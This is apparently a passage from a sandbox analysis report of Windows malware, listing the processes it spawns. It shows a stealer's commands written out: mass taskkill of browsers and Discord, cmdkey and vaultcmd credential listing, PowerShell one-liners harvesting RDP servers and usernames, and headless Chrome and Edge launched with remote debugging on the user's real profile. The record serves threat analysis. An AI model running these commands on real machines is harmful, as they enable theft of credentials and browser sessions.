  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM slimjet.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM cent_browser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command " $regPath = \"HKCU:\Software\Microsoft\Terminal Server Client\Servers\" if (Test-Path $regPath) { Get-ChildItem $regPath | ForEach-Object { $server = $_.PSChildName $usernamePath = Join-Path $_.PSPath \"UsernameHint\" $username = if (Test-Path $usernamePath) { (Get-ItemProperty -Path $usernamePath -Name \"(default)\" -ErrorAction SilentlyContinue).\"(default)\" } else { \"\" } Write-Output \"Server:$server,Username:$username\" } } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2948
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM epic.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3252
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM torch.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1720
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM whale.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4616
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:4364
- C:\Windows\system32\cmdkey.exe
  "cmdkey" /list
  2⤵
  PID:1832
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM 360browser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\system32\cmdkey.exe
  "cmdkey" /list:TERMSRV/69.48.201.74
  2⤵
  PID:2480
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM qqbrowser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:380
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM browser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:5360
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM chrome.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5144
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM Discord.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2800
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM DiscordCanary.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5364
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:548
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM DiscordPTB.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5920
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM DiscordDevelopment.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2212
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:2096
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM chrome.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4232
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM msedge.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3272
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM brave.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3972
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5528
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM opera.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM vivaldi.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4180
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM firefox.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3720
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM dragon.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2752
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM maxthon.exe
  2⤵
  - Kills process with taskkill
  PID:4828
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM uc_browser.exe
  2⤵
  - Kills process with taskkill
  PID:2076
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM slimjet.exe
  2⤵
  - Kills process with taskkill
  PID:880
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:4600
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM cent_browser.exe
  2⤵
  - Kills process with taskkill
  PID:5124
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM epic.exe
  2⤵
  - Kills process with taskkill
  PID:5264
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:4712
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM torch.exe
  2⤵
  - Kills process with taskkill
  PID:3220
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM whale.exe
  2⤵
  - Kills process with taskkill
  PID:556
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM 360browser.exe
  2⤵
  PID:3340
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:5880
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM qqbrowser.exe
  2⤵
  - Kills process with taskkill
  PID:4776
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM browser.exe
  2⤵
  - Kills process with taskkill
  PID:3716
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:828
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:1068
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5172
- C:\Windows\system32\tasklist.exe
  "tasklist" /FI "IMAGENAME eq chrome.exe"
  2⤵
  - Discovers running processes
  PID:716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --restore-last-session --remote-debugging-port=43721 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --start-minimized --no-sandbox --disable-gpu
  2⤵
  - Uses browser remote debugging
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  PID:6084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa73ffc728,0x7ffa73ffc734,0x7ffa73ffc740
    3⤵
    PID:5520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2884 /prefetch:2
    3⤵
    PID:4196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2860 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3636 /prefetch:8
    3⤵
    PID:4404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=43721 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3732 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=43721 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3760 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=43721 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3924 /prefetch:2
    3⤵
    - Uses browser remote debugging
    PID:2636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=43721 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3928 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4696 /prefetch:8
    3⤵
    PID:3880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4728 /prefetch:8
    3⤵
    PID:4528
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4960 /prefetch:8
    3⤵
    PID:5228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2888,i,3964467524152211196,2553016730595850064,262144 --disable-features=PaintHolding --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4704 /prefetch:8
    3⤵
    PID:3432
- C:\Windows\system32\tasklist.exe
  "tasklist" /FI "IMAGENAME eq chrome.exe"
  2⤵
  - Discovers running processes
  PID:1576
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM chrome.exe
  2⤵
  - Kills process with taskkill
  PID:3736
- C:\Windows\system32\tasklist.exe
  "tasklist" /FI "IMAGENAME eq msedge.exe"
  2⤵
  - Discovers running processes
  PID:4524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --restore-last-session --remote-debugging-port=45201 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --start-minimized --no-sandbox --disable-gpu
  2⤵
  - Uses browser remote debugging
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  PID:5804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x22c,0x230,0x234,0x228,0x23c,0x7ffa73fdc188,0x7ffa73fdc194,0x7ffa73fdc1a0
    3⤵
    PID:316
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2640 /prefetch:2
    3⤵
    PID:4288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:3
    3⤵
    - System Time Discovery
    PID:3964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:8
    3⤵
    PID:2444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=45201 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3824 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=45201 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3892 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:8
    3⤵
    PID:4252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:8
    3⤵
    PID:4416
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:8
    3⤵
    PID:4796
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:8
    3⤵
    PID:3728
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:8
    3⤵
    PID:5048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:8
    3⤵
    PID:3340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2644,i,6454816808296254671,10054357149433478865,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:8
    3⤵
    PID:2588
- C:\Windows\system32\tasklist.exe
  "tasklist" /FI "IMAGENAME eq msedge.exe"
  2⤵
  - Discovers running processes
  PID:5776
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM msedge.exe
  2⤵
  - Kills process with taskkill
  PID:5376
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM chrome.exe
  2⤵
  PID:3172
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM msedge.exe
  2⤵
  PID:4264
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM brave.exe
  2⤵
  PID:1772
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM opera.exe
  2⤵
  - Kills process with taskkill
  PID:4168
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM vivaldi.exe
  2⤵
  - Kills process with taskkill
  PID:6056
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM firefox.exe
  2⤵
  - Kills process with taskkill
  PID:3892
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM dragon.exe
  2⤵
  - Kills process with taskkill
  PID:4524
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM maxthon.exe
  2⤵
  - Kills process with taskkill
  PID:776
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM uc_browser.exe
  2⤵
  - Kills process with taskkill
  PID:4796
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM slimjet.exe
  2⤵
  - Kills process with taskkill
  PID:3380
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM cent_browser.exe
  2⤵
  - Kills process with taskkill
  PID:5852
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM epic.exe
  2⤵
  - Kills process with taskkill
  PID:3156
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM torch.exe
  2⤵
  - Kills process with taskkill
  PID:6068
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM whale.exe
  2⤵
  - Kills process with taskkill
  PID:4728
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM 360browser.exe
  2⤵
  - Kills process with taskkill
  PID:3220
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM qqbrowser.exe
  2⤵
  - Kills process with taskkill
  PID:4504
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM browser.exe
  2⤵
  - Kills process with taskkill
  PID:3480
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM chrome.exe
  2⤵
  - Kills process with taskkill
  PID:3956
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM msedge.exe
  2⤵
  - Kills process with taskkill
  PID:2252
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM brave.exe
  2⤵
  - Kills process with taskkill
  PID:4176
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM opera.exe
  2⤵
  - Kills process with taskkill
  PID:3340
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM vivaldi.exe
  2⤵
  - Kills process with taskkill
  PID:2248
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM firefox.exe
  2⤵
  - Kills process with taskkill
  PID:2452
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM dragon.exe
  2⤵
  - Kills process with taskkill
  PID:4584
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM maxthon.exe
  2⤵
  - Kills process with taskkill
  PID:1448
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM uc_browser.exe
  2⤵
  - Kills process with taskkill
  PID:4564
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM slimjet.exe
  2⤵
  PID:3768
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM cent_browser.exe
  2⤵
  - Kills process with taskkill
  PID:4400
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM epic.exe
  2⤵
  - Kills process with taskkill
  PID:3660
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM torch.exe
  2⤵
  - Kills process with taskkill
  PID:2416
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM whale.exe
  2⤵
  - Kills process with taskkill
  PID:5496
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM 360browser.exe
  2⤵
  - Kills process with taskkill
  PID:5008
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM qqbrowser.exe
  2⤵
  - Kills process with taskkill
  PID:3084
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM browser.exe
  2⤵
  - Kills process with taskkill
  PID:5184
- C:\Windows\system32\vaultcmd.exe
  "vaultcmd" /list
  2⤵
  PID:1748
- C:\Windows\system32\cmdkey.exe
  "cmdkey" /list
  2⤵
  PID:3908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command " $entries = cmdkey /list | Select-String \"TERMSRV\" -Context 0,3 foreach ($entry in $entries) { $target = ($entry -split \"target=\")[1].Trim() $ip = $target -replace \"TERMSRV/\", \"\" $userLine = $entry.Context.PostContext | Select-String \"User\" $user = if ($userLine) { ($userLine -split \":\")[1].Trim() } else { \"N/A\" } Write-Output \"Server: $ip | Username: $user\" } "
  2⤵
